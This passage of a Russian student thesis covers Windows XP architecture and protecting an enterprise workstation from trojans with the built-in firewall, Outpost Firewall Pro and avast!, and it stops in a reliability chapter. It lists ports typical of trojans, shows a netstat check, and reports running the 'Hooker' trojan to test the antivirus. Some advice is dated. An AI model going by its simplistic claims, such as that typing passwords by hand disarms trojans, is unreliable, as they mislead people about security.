Современные аппаратные средства могут выполнять огромное множество разнообразных программных приложений. Чтобы повысить эффективность использования аппаратуры, приложения проектируются в расчёте на то, что они будут работать одновременно друг с другом. Если эти приложения не будут разработаны должным образом, то они будут создаватьдруг другу помехи. Во избежание этого было создано специальное программное обеспечение, которое называется операционной системой. Операционная система отделяет приложения от аппаратных средств, к которым они имеют доступ, и обеспечивает условия длябезопасной и эффективной работы приложений.

Операционная система - это программное обеспечение, контролирующее работу прикладных программ и системных приложений и исполняющее роль интерфейса между приложениями и аппаратным обеспечением компьютера. Ее предназначение можно разделить на три основные составляющие.

Удобство. Операционная система делает использование компьютера простым и удобным.

Эффективность. Операционная система позволяет эффективно использовать ресурсы компьютерной системы.

Возможность развития. Операционная система должна быть организована так, чтобы она допускала эффективную разработку, тестирование и внедрение новых приложений и системных функций, причем это не должно мешать нормальному функционированию вычислительной системы.

Комплекс программ, составляющих основу операционной системы, называется ядром. Операционную систему можно обнаружить в самых различных устройствах от мобильных телефонов и автомобилей до персональных компьютеров и универсальных вычислительных машин. В большинстве компьютерных систем пользователь обращается к компьютеру для выполнения действия (например, требует запустить приложение или распечатать документ), а операционная система управляет программным обеспечением и аппаратными средствами, чтобы получить желаемый результат.

Для большинства пользователей операционная система - это "черный ящик", посредник между приложениями и аппаратными средствами, с которыми они работают. Этот посредник обеспечивает необходимый результат при наличии соответствующих исходных данных. Операционные система - это, в первую очередь, диспетчеры ресурсов, они управляют аппаратными средствами, включая процессоры, память, устройства ввода/вывода и устройства связи. Они также должны управлять приложениями и другими программными элементами, которые в отличие от аппаратных средств не являются физическими объектами.

Операционная система Windows XP была выпущена корпорацией Microsoft в 2001 году и объединила в себе два направления развития операционных систем: семейство корпоративных систем и пользовательских систем. По статистике на начало 2003 года более трети всех пользователей сети Internet работали с Windows XP.

Существует шесть различных версий Windows XP. Версия Windows XP Home представляет собой базовый вариант операционной системы, позиционируемый для настольных систем, остальные версии обладают расширенной функциональностью. Windows XP Professional характеризуется улучшенной безопасностью, наличием дополнительных средств защиты конфиденциальности информации, поддержкой широких сетевых возможностей и средств восстановления данных. Версия Windows XP Tablet PC ориентирована на ноутбуки и портативные ЭВМ, которые нуждаются в расширенной поддержке беспроводных сетей и цифровых ручек. Windows XP Media Center Edition обеспечивает расширенную поддержку мультимедийных приложений. Windows XP Starter Edition представляет собой простое доступное решение и поддерживает все функции, необходимые начинающему пользователю. Windows XP Embedded является компонентной версией операционной системы Windows, которая часто ассоциируется с потребительскими электронными устройствами, такими как телевизионные абонентские приставки или приборы.

Несмотря на различия, все версии ядра Windows XP построены на основании одной и той же архитектуры.

Для рабочей станции локальной сети предприятия "Искра" выбираем операционную систему Windows XP Professional SP2.

2.5.1 Структура системы Windows XP

Windows XP построена на основе микроядра и её архитектуру нередко называют модифицированной архитектурой микроядра. С одной стороны, Windows XP обладает модульной структурой и компактным ядром, которое представляет базовые сервисы для других компонентов операционной системы. Однако в отличие от операционных систем, построенных исключительно на архитектуре микроядра, эти компоненты (например, диспетчер памяти или файловая система) выполняются не в пользовательском режиме, а в режиме ядра. Windows XP представляет собой многоуровневую операционную систему, в которой отдельные уровни подчиняются общей иерархии, где нижние уровни обеспечивают функциональность верхних уровней. Но, в отличие от строго иерархических систем, возможны ситуации, когда между собой могут общаться несмежные уровни.

На рис.2 показана структура системы Windows XP. Уровень абстракций аппаратуры (Hardware Abstraction Layer, HAL) взаимодействует непосредственно с оборудованием, скрывая детали взаимодействия операционной системы с конкретной аппаратной платформой для остальной части системы, HAL позволяет абстрагироваться от конкретного оборудования, которое в разных системах с одной и той же архитектурой может быть различным. В большинстве случаев, компоненты, выполняемые в режиме ядра, не работают непосредственно с аппаратным обеспечением, вместо этого они вызывают функции, доступные в HAL. Поэтому компоненты режима ядра могут создаваться без учета деталей реализации, специфичных для конкретной архитектуры, таких как размер кэша и количество подключенных процессоров. HAL взаимодействует с драйверами устройств, чтобы обеспечить доступ к периферийному оборудованию.

Кроме того, уровень абстракций аппаратуры взаимодействует с микроядром. Микроядро обеспечивает основные механизмы функционирования системы, такие как планирование выполнения потоков для поддержки других компонентов режима ядра. Микроядро управляет синхронизацией потоков, обслуживанием прерываний и обработкой исключений. Кроме того, микроядро позволяет не учитывать архитектурно-зависимые функциональные возможности, например, количество прерываний в различных архитектурах. Таким образом, микроядро и HAL обеспечивают переносимость операционной системы Windows XP, позволяя работать на самом разнообразном оборудовании.

Микроядро формирует только небольшую часть пространства ядра. Пространство ядра описывает среду выполнения, в которой компоненты могут получать доступ к системной памяти и службам. Компоненты, размещаемые в пространстве ядра, выполняются в режиме ядра. Микроядро предоставляет базовые услуги другим компонентам, размещенным в пространстве ядра.

Выше уровня ядра расположены компоненты режима ядра, отвечающие за администрирование подсистем операционной системы (например, диспетчер ввода/вывода и диспетчер виртуальной памяти). Все эти компоненты называются исполняющие или управляющие программы. На рис.1 показаны основные управляющие программы. Исполняющие программы предоставляют услуги пользовательским процессам через интерфейс прикладного программирования (API - application programming interface). Этот API носит название собственного API.

Рис.2 Структурная схема системы Windows XP

Диспетчер ввода-вывода обслуживает запросы ввода данных с аппаратных устройств и вывода на них. К устройствам ввода относятся клавиатура, мышь, микрофон и сканер; к устройствам вывода - монитор, принтер и акустическая система.

Драйвер устройства является программным компонентом операционной системы и взаимодействует непосредственно с аппаратными ресурсами. Драйвер располагает специфическим для данного устройств набором команд, предназначенных для выполнения запрашиваемых операций ввода/вывода.

Контрольный монитор безопасности обеспечивает правильность осуществления политики безопасности, а также позволяет точно настроить систему и корректно запустить ее.

Большинство пользовательских процессов обращаются не к функциям собственного API, а вызывают функции API, предоставляемые системными компонентами пользовательского режима, которые называют подсистемами операционной среды. Подсистемы операционной среды представляют собой процессы, выполняемые в пользовательском режиме, которые размещаются между исполняющей программой и остальной частью пространства пользователя, экспортируя API для определённой компьютерной среды.

На верхнем уровне архитектуры Windows XP расположены процессы, выполняемые в пользовательском режиме. К ним относятся широко распространённые приложения (например, текстовые процессоры, компьютерные игры и веб-обозреватели), а также динамически подключаемые библиотеки (DLL). Библиотеки DLL - это модули, предоставляющие процессам функции и данные. API подсистемы среды состоит из модулей DLL, динамически подключаемых при вызове функции в API подсистемы. Так как библиотеки DLL подключаются динамически, это позволяет повысить модульность приложений. В случае внесения изменений в реализацию функций в DLL, достаточно будет перекомпилировать только подключаемую библиотеку, а не все использующее её приложение.

Диспетчер виртуальной памяти создаёт схему управления памятью, позволяющую выделять каждому процессу собственное большое закрытое адресное пространство, объём которого может превышать доступную физическую память.

Диспетчер конфигурации отвечает за реализацию и управление системным реестром.

Диспетчер электропитания координирует события, связанные с электропитанием, генерирует уведомления системы управления электропитанием, посылаемые драйверам. Когда система не занята, диспетчер можно настроить на остановку процессора для снижения энергопотребления. Изменение энергопотребления отдельных устройств возлагается на их драйверы, но координируется диспетчером электропитания.

Диспетчер кэша повышает производительность файлового ввода/вывода за счёт сохранения в основной памяти дисковых данных, к которым недавно было обращение.

Диспетчер объектов создаёт, управляет и удаляет объекты и абстрактные типы данных исполнительной системы, используемые для представления таких ресурсов операционной системы, как процессы, потоки и различные синхронизирующие объекты.

В Windows XP также существуют специальные процессы пользовательского режима, называемые системными службами или службами Win32. эти процессы обычно выполняются в фоновом режиме, независимо от того, произошёл ли вход пользователя в систему, выполняя, как правило, роль приложений, работающих по схеме клиент/сервер. В качестве примера системных служб можно привести Планировщик (с помощью которого пользователи могут задавать выполнение задач в определённые моменты времени), IPsec (который контролирует безопасность Internet во время операций по передаче данных) и службу просмотра компьютеров (которая обеспечивает работу со списком компьютеров, подключённых к локальной сети).


2.5.2 Задачи операционной системы

Пользователи привыкли рассчитывать на определенные свойства операционных систем, такие как:

эффективность,

живучесть,

масштабируемость,

расширяемость,

мобильность,

защищенность,

интерактивность,

практичность.

Эффективная операционная система обладает высокой производительностью и малым средним значением времени обработки запросов. Производительность определяет тот объем работы, который может быть выполнен процессором за определенный промежуток времени. Эффективная операционная система сводит к минимуму время, затрачиваемое на предоставление этих услуг.

Живучая операционная система - это отказоустойчивая и надежная система, не дающая сбоя в работе при ошибке отдельного приложения или компонента аппаратуры. Если такая ошибка произошла, данная система осуществляет амортизацию отказов (т.е. сводит к минимуму потерю результатов работы и предотвращает выход из строя аппаратуры компьютера). Операционная система этого типа будет продолжать предоставлять услуги каждому отдельному приложению, пока не выйдет из строя аппаратура, необходимая данному приложению.

Масштабируемая операционная система способна использовать ресурсы по мере их наращивания. Если же система не является таковой, она быстро достигнет отметки, когда дополнительные ресурсы будут использоваться не в полном объеме.

Расширяемая операционная система может адаптироваться к новым технологиям и обладает возможностью расширения для решения задач, изначально не предусмотренных при разработке данной операционной системы.

Мобильная операционная система разработана для функционирования на различных конфигурациях аппаратных средств. Важна также мобильность (переносимость) приложений, так как их разработка обходится очень дорого. Приложения должны работать на различных конфигурациях аппаратных средств, чтобы снизить затраты на их освоение.

Защищенная (безопасная) операционная система препятствует пользователям и программному обеспечению в получении несанкционированного доступа к услугам и ресурсам. Средства защиты опираются на механизмы, которые реализуют политику безопасности системы.

Интерактивная операционная система позволяет приложениям быстро реагировать на действия пользователей и другие события в системе.

Практичная операционная система - это система, способная удовлетворить широкому спектру пользовательских потребностей. Как правило, такие операционные системы предоставляют удобный в использовании интерфейс пользователя. Операционные системы, как, например, Linux, Windows могут быть отнесены к практичным, так как каждая из них поддерживает огромное количество приложений и располагает стандартными интерфейсами пользователя.

2.5.3 Способы защиты, встроенные в операционную систему

Есть несколько простых правил, соблюдая которые, можно не беспокоиться о своей безопасности:

1. Скачивать программы можно ТОЛЬКО из надежных источников и как можно меньше со всяческих якобы "хакерских" сайтов... Львиная доля Троянов приходится именно на файлы с этих серверов.

2. Если скачали какую-то программу - ОБЯЗАТЕЛЬНО необходимо проверить ее на наличие вирусов и других вредоносных программ.

3. Никогда не надо запускать программы, пришедшие по E-MAIL.

4. В качестве паролей надо всегда использовать замысловатые наборы символов, типа Jqp2FQs, и по возможности стараться их вводить в окне терминала вручную - это обезоружит Троянов, отсылающих пароли на чей-то E-MAIL адрес.

5. Следует ограничить число посторонних, имеющих доступ к компьютеру, поскольку достаточно большое число троянов и вирусов переносится на внешних носителях (дискетах и дисках). Также рекомендуется периодически менять пароли на особо важные аккаунты.

Те троянские программы, которые постоянно обеспечивают доступ к зараженной ЭВМ, а, следовательно, держат на ней открытый порт какого-либо транспортного протокола, можно обнаруживать с помощью утилит контроля за сетевыми портами. Например, для операционных систем клона Microsoft Windows такой утилитой является программа NetStat. Запуск ее с ключом "netstat - a" выведет на экран все активные порты ЭВМ. От оператора в этом случае требуется знать порты стандартных сервисов, которые постоянно открыты на ЭВМ, и тогда, любая новая запись на мониторе должна привлечь его внимание. На сегодняшний день существует уже несколько программных продуктов, производящих подобный контроль автоматически.

Ещё один способ обнаружить троянцев - посмотреть открытые порты компьютера и процессы, которые их открыли. Обычно троянская программа использует порты >1000 (например, 30003,47891,6666,31337). Список портов, использующихся троянскими программами - Приложение 1.

В Windows XP Professional SP2 есть встроенное средство защиты - брандмауэр Windows.

Брандмауэр (межсетевой экран или фаервол) - комплекс аппаратных и/или программных средств, осуществляющий контроль и фильтрацию проходящих через него сетевых пакетов на различных уровнях модели OSI в соответствии с заданными правилами.

Брандмауэры бывают двух видов, программные и аппаратные.

Брандмауэр используется для защиты компьютера от несанкционированного доступа через сеть или Интернет. Брандмауэр Windows встроен в Windows XP и включен автоматически для защиты компьютера от вирусов и других угроз безопасности.

Брандмауэр отличается от антивирусного программного обеспечения, однако их совместная работа обеспечивает надежную защиту компьютера. Можно сказать, что брандмауэр охраняет окна и двери от проникновения неизвестных и нежелательных программ, в то время как антивирусное программное обеспечение предотвращает появление вирусов или других угроз безопасности, которые стремятся пробраться через парадный вход. В Microsoft Windows XP (SP2) брандмауэр Windows включен по умолчанию. Необязательно использовать именно брандмауэр Windows - можно установить и включить любой брандмауэр по выбору.

2.5.4 Как работает брандмауэр?

Когда к компьютеру пытается подключиться кто-то из Интернета или локальной сети, такие попытки называют "непредусмотренными запросами". Когда на компьютер поступает непредусмотренный запрос, брандмауэр Windows блокирует подключение. Если на компьютере используются такие программы, как программа передачи мгновенных сообщений или сетевые игры, которым требуется принимать информацию из Интернета или локальной сети, брандмауэр запрашивает пользователя о блокировании или разрешении подключения. Если пользователь разрешает подключение, брандмауэр Windows создает исключение, чтобы в будущем не тревожить пользователя запросами по поводу поступления информации для этой программы.

Если идет обмен мгновенными сообщениями с собеседником, который собирается прислать файл (например фотографию), брандмауэр Windows запросит подтверждения о снятии блокировки подключения и разрешении передачи фотографии на компьютер. А при желании участвовать в сетевой игре через Интернет с друзьями пользователь может добавить эту игру как исключение, чтобы брандмауэр пропускал игровую информацию на компьютер.

Хотя имеется возможность отключать брандмауэр Windows для отдельных подключений к Интернету или локальной сети, это повышает вероятность нарушения безопасности компьютера.

2.6 Предлагаемые способы защиты от троянских программ

На сегодняшний день существует достаточно большая статистика угроз операционным системам, направленных на преодоление встроенных в операционную систему механизмов защиты, позволяющих изменить настройки механизмов безопасности, обойти разграничения доступа и т.д.

Таким образом, статистика фактов несанкционированного доступа к информации показывает, что большинство распространённых операционных систем довольно уязвимы с точки зрения безопасности.

На практике современные операционные системы, предназначенные для обработки конфиденциальной информации, строятся уже с учётом дополнительных мер безопасности.

Исходя из этого защита от троянских программ должна быть комплексной, то есть включать средства, встроенные в операционную систему (встроенный брандмауэр), антивирусную программу и внешний брандмауэр.


2.6.1 Настройка встроенного брандмауэра Windows

Брандмауэр Windows по умолчанию включен, некоторыми возможностями ряда программ можно будет воспользоваться только после включения программы в список на вкладке Исключения брандмауэра Windows.

Таблица 4. параметры брандмауэра Windows по умолчанию

Доступ к настройкам брандмауэра Windows XP Service Pack 2 можно получить при помощи Пуск - Панель управления - брандмауэр Windows.

Рис.3 Пример окна с настройками брандмауэра

В этом окне можно включить или выключить брандмауэр для всех соединений с сетью. Пункт Не разрешать исключения активизирует режим работы брандмауэр, при котором брандмауэр не выводит на экран оповещений о блокировке и отключает список исключений, который можно задать на следующей вкладке окна управления брандмауэр.

Рис.4 Список исключений брандмауэра Windows

Брандмауэр разрешает входящие подключения для приложений, перечисленных в этом списке, если они отмечены флажком. Можно разрешить входящие подключения на определенный локальный порт, создав соответствующее правило. На следующей вкладке окна настроек брандмауэр собраны дополнительные настройки.

Рис.5. Дополнительные настройки брандмауэра Windows

Доступ к дополнительным настройкам брандмауэра можно получить на вкладке Дополнительно главного окна настройки брандмауэра (рис.5).

Параметры сетевого подключения - здесь перечислены все сетевые подключения, которые существуют на компьютере под защитой встроенного брандмауэра. Путем установки или снятия флажка напротив каждого из подключений можно включить или выключить брандмауэра для каждого из подключений. При помощи кнопки Параметры можно настроить параметры работы брандмауэра для каждого из подключений, если используется общий доступ к этому подключению.

Ведение журнала безопасности - при помощи кнопки Параметры можно настроить протоколирование событий, происходящих во время работы брандмауэра в журнале работы.

Протокол ICMP - позволяет настроить фильтрацию брандмауэра сообщений, которыми обмениваются по протоколу ICMP. В частности, можно запретить или разрешить отклик компьютера на команду ping.

Параметры по умолчанию - нажатие кнопки. По умолчанию возвращает все настройки брандмауэра к исходным.

Для данного брандмауэра характерен высокий уровень зашиты, так как сам брандмауэр включен и все исключения запрещены.

Встроенный в Windows XP SP2 файрвол достаточно надежен, но контролирует лишь входящие соединения, оставляя без внимания исходящие. Поэтому при использовании для защиты компьютера встроенного файрвола нужно быть очень внимательным при открытии файлов, полученных из сети. Вирус или шпионское программное обеспечение сможет без проблем отправить данные на сервер разработчика и пресечь его работу встроенный фаервол не сможет.

Изложенные выше рекомендации не являются исчерпывающим материалом по настройке безопасности операционной системы Windows XP Professional.

2.6.2 Настройка брандмауэра Outpost Firewall Pro

Outpost Personal Firewall - это персональный брандмауэр обеспечивающий: безопасность, конфиденциальность, контроль и легкость в использовании.

Agnitum Outpost Firewall имеет следующие основные функции:

Скрытый режим работы сделает компьютер под защитой файрвола невидимым в сети. Компьютер не будет откликаться на запросы о его существовании.

Гибкость в настройке фильтров позволяет указывать для конкретных приложений направление трафика (только отправлять данные в сеть, только получать, и отправлять и получать, запретить все).

Файрвол может блокировать рекламу, всплывающие окна, фильтровать содержимое посещаемых веб-страниц, запрещать доступ к сайтам, на которых встречаются определенные слова, что позволит оградить детей от просмотра порнографии или других нежелательных материалов.

Можно ограничивать или запрещать действия активных элементов в составе web-страниц, таких как Java-апплеты, ActiveX и Java-скрипты, которые могут использоваться для получения доступа к данным, хранящимся на компьютере или заражения его вирусами.

файрвол может блокировать cookies, которые многие сайты оставляют на компьютере с целью отследить перемещения пользователя в сети.

Предусмотрена блокировка почтовых вложений с целью защиты компьютера от заражения червями (черви - саморазмножающиеся, самораспространяющиеся вирусы).

Outpost Firewall следит за сетевой активностью, и в случае обнаружения начала атаки на компьютер выдает предупреждающее сообщение, блокируя трафик.

файрвол кэширует (сохраняет в своей базе) имена и IP-адреса посещенных сайтов, что позволяет при повторном их посещении избежать обращения к DNS-серверу провайдера. Это несколько ускоряет открытие посещенных ранее страниц.

Модульная структура программы позволяет добавлять новые модули, которые увеличивают возможности файрвола.

Outpost ведет журнал событий, куда сохраняются все события, происходившие во время работы.

Во время установки система запросит выбрать уровень безопасности

В нашем случае мы выбираем Обычный уровень

Рис.6. Выбор уровня безопасности фаервола Outpost

Далее нам необходимо определить, в каком из режимов будет работать наш фаервол:

1) в режиме автоматического (интеллектуального) создания правил для приложений

2) в режиме заранее подготовленных правил для приложений

В нашем случае мы выбрали автоматическое назначение правил (рис.7)

Рис. 7 Способ создания правил фаервола Outpost

Далее система автоматически выполняет, некоторые настройки программы.

После того, как программа установки закончит автонастройку, перезагружаем компьютер.

После перезагрузки компьютера, программа выполняет сканирование системы (рис.8).

Рис.8 Фаервол Outpost сканирует систему

Теперь рассмотрим основные пункты интерфейса программы.

Рис.9 Главное меню фаервола Outpost

1 - Сетевая активность.

Рис.10 Модуль "Сетевая активность" фаервола Outpost

В данном разделе можно увидеть активные соединения. (Имя процесса, Протокол, Локальный и удаленный адреса, порт и правила, которые действуют на данный тип соединения).

2 - Открытые порты.

Рис.11 модуль "Открытые порты" фаервола Outpost

В этом разделе мы видим порты которые открыты в нашей системе. Так же здесь отображаются правила, которые действуют на указанные порты.

3 - Anti-spyware.

Защита от spyware

Spyware (или шпионское программное обеспечение) является растущей проблемой, затрагивающей множество пользователей персональных компьютеров. Все чаще пользователи подвергаются атакам вредоносных программ (как правило, не зная об этом), которые собирают информацию о статистике посещений веб-страниц, установленных на компьютере приложениях и другие личные данные, которые затем отсылаются третьей стороне, spyware отслеживает действия пользователя без его на то согласия. Spyware могут изменять тексты почтовых сообщений, модифицировать содержимое файлов на жестком диске, показывать назойливые рекламные объявления, менять адрес домашней страницы вашего браузера. И, наконец, если всего вышеперечисленного оказалось недостаточно, резидентное spyware отнимает значительное количество системных ресурсов, иногда существенно снижая скорость работы вашего компьютера.

Подключаемый модуль Anti-Spyware создан для того, чтобы предупредить нежелательные и несанкционированные действия шпионских программ, избавиться от назойливой рекламы и защитить личные данные от похищения шпионскими программами и троянами.

4 - DNS.

Рис.12 Модуль "Служба доменных систем" фаервола Outpost

Управление кэшем DNS

В сети Интернет каждый компьютер имеет свой собственный номер. Это так называемый IP-адрес. Пример IP-адреса - 192.0.2.178. Просто достаточно набрать этот числовой ряд в строке ввода браузера, нажать клавишу Enter, и браузер перейдет к веб-страницам данного компьютера.

Компьютер может без труда запоминать числовые IP-адреса, чего нельзя сказать о человеке. Поэтому была придумана адресная система, использующая слова и буквы, которая получила название Служба доменных имен (Domain Name System, DNS). Для большинства пользователей имя DNS является более близким понятием, чем IP-адрес. Пример имени DNS - http://www.agnitum.ru.

Имена DNS намного легче запомнить, однако браузерам необходимо знать IP-адрес, чтобы передавать данные по cети. Поэтому в Интернет существуют базы данных, которые хранят информацию о том, какой IP-адрес соответствует определенному имени DNS. Иногда, чтобы найти соответствие IP-адреса и имени DNS, браузер обращается к нескольким базам данных, находящимся в разных местах сети Интернет, что часто требует времени.

Для ускорения процесса Outpost Firewall Pro создает и использует персонифицированную базу данных адресов DNS, хранащуюся на вашем компьютере. Она называется кэшем DNS (кэширование - запоминание) и вы можете настраивать ее по своему желанию.

Outpost Firewall Pro поддерживает кэширование DNS автоматически, согласно вашим настройкам, и запоминает адреса, которые вы недавно использовали. Время, необходимое для хранения DNS, зависит от значения, которое вы укажете в настройках модуля DNS. Оно также зависит от того, как много имен DNS должно хранится в памяти Outpost Firewall Pro. Сохраняются только недавно использованные имена с учетом максимального количества записей, указанного вами.

5 - детектор атак

Рис.13. Модуль "Детектор атак" фаервола Outpost

Предотвращение сетевых атак

Одним из важнейших аспектов защиты с помощью брандмауэра является фильтрация входящих пакетов, используемая для контроля входящей активности и блокировки хакеров и вредоносных программ при их попытке атаковать ваш компьютер.

Подключаемый модуль Детектор атак обнаруживает, предотвращает и оповещает вас обо всех возможных атаках на вашу систему из Интернета и локальной сети, к которой подключен ваш компьютер. Модуль просматривает входящие данные и определяет их законность либо с помощью сравнения контрольных сумм с известными атаками, либо производя анализ поведения. Это позволяет обнаруживать не только известные типы атак, такие как сканирование портов, Отказ от обслуживания (Denial of Service, DoS-атаки), атаки классов 'short fragments' и 'my address' и многие другие, но также и будущие угрозы.

6,7 - интерактивные элементы и реклама

Рис.14 Модуль "интерактивные элементы" фаервола Outpost

Блокировка рекламы

Все больше и больше интернет сайтов сегодня наполняются рекламой, иногда очень назойливой, изображениями спорного содержания, заполняющими страницы и замедляющими их загрузку.

Подключаемый модуль Реклама позволяет блокировать определенные рекламные объявления и баннеры, увеличивая таким образом скорость загрузки веб-страниц. Объявления могут блокироваться по двум критериям: по ключевым словам, найденным в содержимом загружаемой страницы, или по размеру рекламного изображения.

8 - содержимое.

Блокировка содержимого

Многие веб-сайты содержат сомнительное содержимое, множество заманчивых баннеров и ссылок приводят вас на страницы, содержащие информацию, нежелательную для просмотра вашими детьми.

Подключаемый модуль Содержимое избавляет вас от нежелательного содержимого, блокируя отображение указанных веб-сайтов или страниц, содержащих сомнительные материалы. Модуль Содержимое блокирует веб-страницы и сайты на основе ключевых слов, содержащихся в них и их URL, отображая в браузере указанное предупреждение каждый раз когда он пытается получить доступ к запрещенной странице.

9 - фильтрация почтовых вложений.

Фильтрация почтовых вложений

Одним из самых простых путей для червей, Троянов и прочих вредоносных программы попасть на ваш компьютер является электронная почта. Сотни самовоспроизводящихся программ используют для рассылок базы электронных адресов ничего не подозревающих пользователей. Стоит пользователю только запустить вложенный файл, как сетевой червь или вирус начинает выполнять вредоносные действия, инфицируя систему и заставляя ее нестабильно работать.

Подключаемый модуль Фильтрация почтовых вложений защищает вас от вложений, содержащих вирусы и сетевые черви, проверяя вложения входящих почтовых сообщений и отфильтровывая потенциально опасные. С помощью этого модуля вы можете автоматически переименовывать почтовые вложения, чтобы они не могли повредить вашему компьютеру, а также получать соответствующие оповещения. Каждый тип вложений может управляться индивидуально в зависимости от расширения файла.

Для редактирования или назначения правил перейдите на вкладку "Параметры" и выберите пункт "Приложения".

В открывшемся окне мы видим 3 группы, на которые программа делит все установленные приложения.

1) запрещенные приложения

Все приложения, которые будут находиться в данной группе, будут заблокированы фаерволом и не смогут получить никакого доступа к локальной сети или сети Интернет.

2) пользовательский уровень

Все приложения, которые находятся в данной группе, подчиняются назначенным правилам. Для просмотра или редактирования правил выделите интересующее приложение и нажмите кнопку "изменить" на правой панели окна, в открывшемся меню выбираем "редактировать правила"…

3) разрешенные приложения

Все приложения находящиеся в данной группе, никак не блокируются и получают свободный доступ к локальной сети и сети Интернет.

Рис.15 Параметры фаервола Outpost

Режимы работы:

 разрешать

Работая в этом режиме, Outpost будет разрешать все входящие и исходящие соединения, которые явно не запрещены правилами.Т. е. если в конфигурации нет четко прописанного правила для приложения или узла, то оно может выполнять любые действия в системе.

режим обучения

 режим обучения

Работая в этом режиме, Outpost будет отслеживать активность приложений и узлов в сети, Т.о. при попытке какого-либо приложения установить соединении, Outpost отреагирует на это событие и либо создаст правило на основе предустановок, либо запросит у пользователя какое действие необходимо выполнить.

Outpost имеет в своей базе некие шаблоны на основе которых он и выстраивает правила ля определенных приложений.

 Блокировать

Блокировать все приложения, которые явно не разрешены в конфигурации фаервола. Противоположен первому режиму работы программы.

Работа в Режиме внутренней защиты

Так как средства защиты от вредоносного программного обеспечения становятся все мощнее, хакеры стали пытаться отключать их, используя руткиты (rootkits) и другие утилиты, перед тем как совершать свои несанкционированные действия. Чтобы противостоять этой угрозе, Outpost Firewall Pro предлагает так называемый Режим внутренней защиты. С включенной внутренней защитой Outpost Firewall Pro охраняет себя от остановки вирусами, троянами или шпионским программным обеспечением.

В целом фаервол Outpost Firewall Pro выполняет функции, возложенные на него. Защита компьютера от проникновения обеспечена на должном уровне. Модули работают без проблем. Автоматическое обновление программы снимает с легального пользователя необходимость отслеживать выход новых версий и обновлений программы. Объем занимаемых программой ресурсов весьма скромен. Работа файрвола практически не сказывается на скорости сети и делает работу безопасной, предохраняя компьютер от проникновения некоторых типов вирусов, вредоносных скриптов и атак.


2.6.3 Настройка антивируса avast! Antivirus

Avast Antivirus Professional - антивирус, способный обнаружить большое количество известных вирусов, а также неизвестную деятельность и самомодифицирующиеся вирусы, для которых не возможно прямое обнаружение.

Основные характеристики:

Высокий уровень выявления вирусов, троянов и червей.

Резидентный (в режиме реального времени) и обычный сканер.

Сканирование архивов.

Проверка входной и исходной электронной почты.

Глубокая интеграция в систему. Проверить тот или иной файл возможно непосредственно из проводника Windows, щелкнув по нему правой кнопкой мыши и избрав надпись "Сканировать..."

Карантин изолирован от операционной системы, что обеспечивает большую безопасность работы. Ни один файл, сохраняемый в карантине не может быть запущен.

минимальным числом ложных срабатываний

Большое количество настроек.

Рис.16 главное меню программы Avast Antivirus

Программа Avast Antivirus позволяет выбирать необходимые области сканирования - локальные диски, сменные носители или выбранные папки. Есть возможность настройки резидентной защиты: оключена, обычный или высокий уровень. Выбираем высокий уровень резидентной защиты.

Существует возможность выбора типа сканирования: эксресс-сканирование, обычное сканирование, полное сканирование. Выбираем пункт "полное сканирование" (рис.17):

Рис.17 Определение типа сканирования

Для проверки правильности функционирования данной программы запустим троянскую программу Hooker, trojan module v2. x, текст которой описан в приложении. Резидентный сканер выдаёт сообщения об обнаружении трояна (рис. 19):

Рис.18 пример работы Avast Antivirus

Рис. 19 Резидентный сканер выдаёт сообщения об обнаружении трояна

Также программа позволяет обновлять антивирусные базы (частое обновление антивирусной системы является обязательным), обеспечивает автоматическое обновление через Интернет вирусных баз данных или даже самой программы.

К недостатки данной программы можно отнести следующие:

При включении резидентной защиты высокого уровня и полного сканирования производительность компьютера резко снижается;

Необходимость обновления антивирусных баз;

Невозможность лечить заражённых файлы: возможно либо удалить зараженные файлы, либо поместить их в вирусное хранилище.

Мощный резидентный модуль Avast! способен обнаружить вирус прежде, чем он заразит компьютер. Особенность новой версии программы - эвристический анализ почтовых сообщений. Это очень полезно для защиты от новых, неизвестных вирусов и червей, которых нельзя обнаружить обычными средствами. Эвристический модуль тщательно изучает каждое почтовое сообщение и наблюдает за подозрительными признаками, которые могли бы выявить присутствие вируса. Когда число этих признаков превышает определяемый пользователем порог, сообщение считают опасным, и пользователь получает предупреждение.


Глава 3. Оценка эксплуатационных характеристик информационной системы 3.1 Описание критерия надёжности

Процесс эксплуатации любого объекта складывается из следующих этапов: выбор объекта по назначению, покупка объекта, транспортировка и хранение, монтаж и подключение, использование по назначению и техническое обслуживание, демонтаж и утилизация объекта.

В процессе эксплуатации технических средств может произойти отказ в выполнении их функций, так как безотказных объектов не существует. Отказ - нарушение работоспособности технического объекта вследствие недопустимого изменения его параметров или свойств под влиянием внутренних физико-химических процессов и внешних механических, климатических или иных воздействий.

Информационная система предприятия включает в свой состав локальную вычислительную сеть, подключенную к глобальной сети Internet. В конкретной локальной сети, предназначенной для подготовки, обработки, хранения информации и обмена информацией с удаленными информационными системами, может отказать одна из составных частей, что приведёт к отказу всей системы. Поэтому необходимо уменьшить вероятность отказа всей системы из-за отказа отдельных частей.

Одним из способов уменьшения вероятности отказа является применение системы с резервированием.

Система с резервированием - это система с избыточностью элементов, т.е. с резервными составляющими, избыточными по отношению к минимально необходимой (основной) структуре и выполняющими те же функции, что и основные элементы. Различают общее и поэлементное (раздельное) резервирование. По виду резервирование подразделяют на:

активное (нагруженное) - резервные элементы функционируют наравне с основными (постоянно включены в работу);

пассивное (ненагруженное) - резервные элементы вводятся в работу только после отказа основных элементов (резервирование замещением).

На практике применяют облегченное и скользящее резервирование. Облегчённый резерв - подключение резервных элементов к цепям питания для прогрева и удержания требуемых значений параметров; внешние нагрузки и воздействия, приводящие к изменению свойств материалов, рабочих параметров и т.п. При скользящем резервировании резервный элемент может быть включен взамен любого из отказавших элементов основной системы.

На этапе испытаний и эксплуатации проводятся расчеты надежности технической системы для оценки количественных показателей надежности

Надежность - свойство объекта выполнять заданные функции, сохраняя во времени и в заданных пределах значения установленных эксплуатационных показателей.

Объектами могут быть различные системы и их элементы.

Надежность объекта характеризуется следующими основными состояниями и событиями:

Исправность - состояние объекта, при котором он соответствует всем требованиям, установленным нормативно-технической документацией (НТД).

Работоспособность - состояние объекта, при котором он способен выполнять заданные функции, сохраняя значения основных параметров, установленных НТД.

Основные параметры характеризуют функционирование объекта при выполнении поставленных задач.

Понятие исправность шире, чем понятие работоспособность. Работоспособный объект обязан удовлетворять лишь тем требования НТД, выполнение которых обеспечивает нормальное применение объекта по назначению. Таким образом, если объект неработоспособен, то это свидетельствует о его неисправности. С другой стороны, если объект неисправен, то это не означает, что он неработоспособен.

Предельное состояние - состояние объекта, при котором его применение по назначению недопустимо или нецелесообразно.

Применение (использование) объекта по назначению прекращается в следующих случаях:

при неустранимом нарушении безопасности;

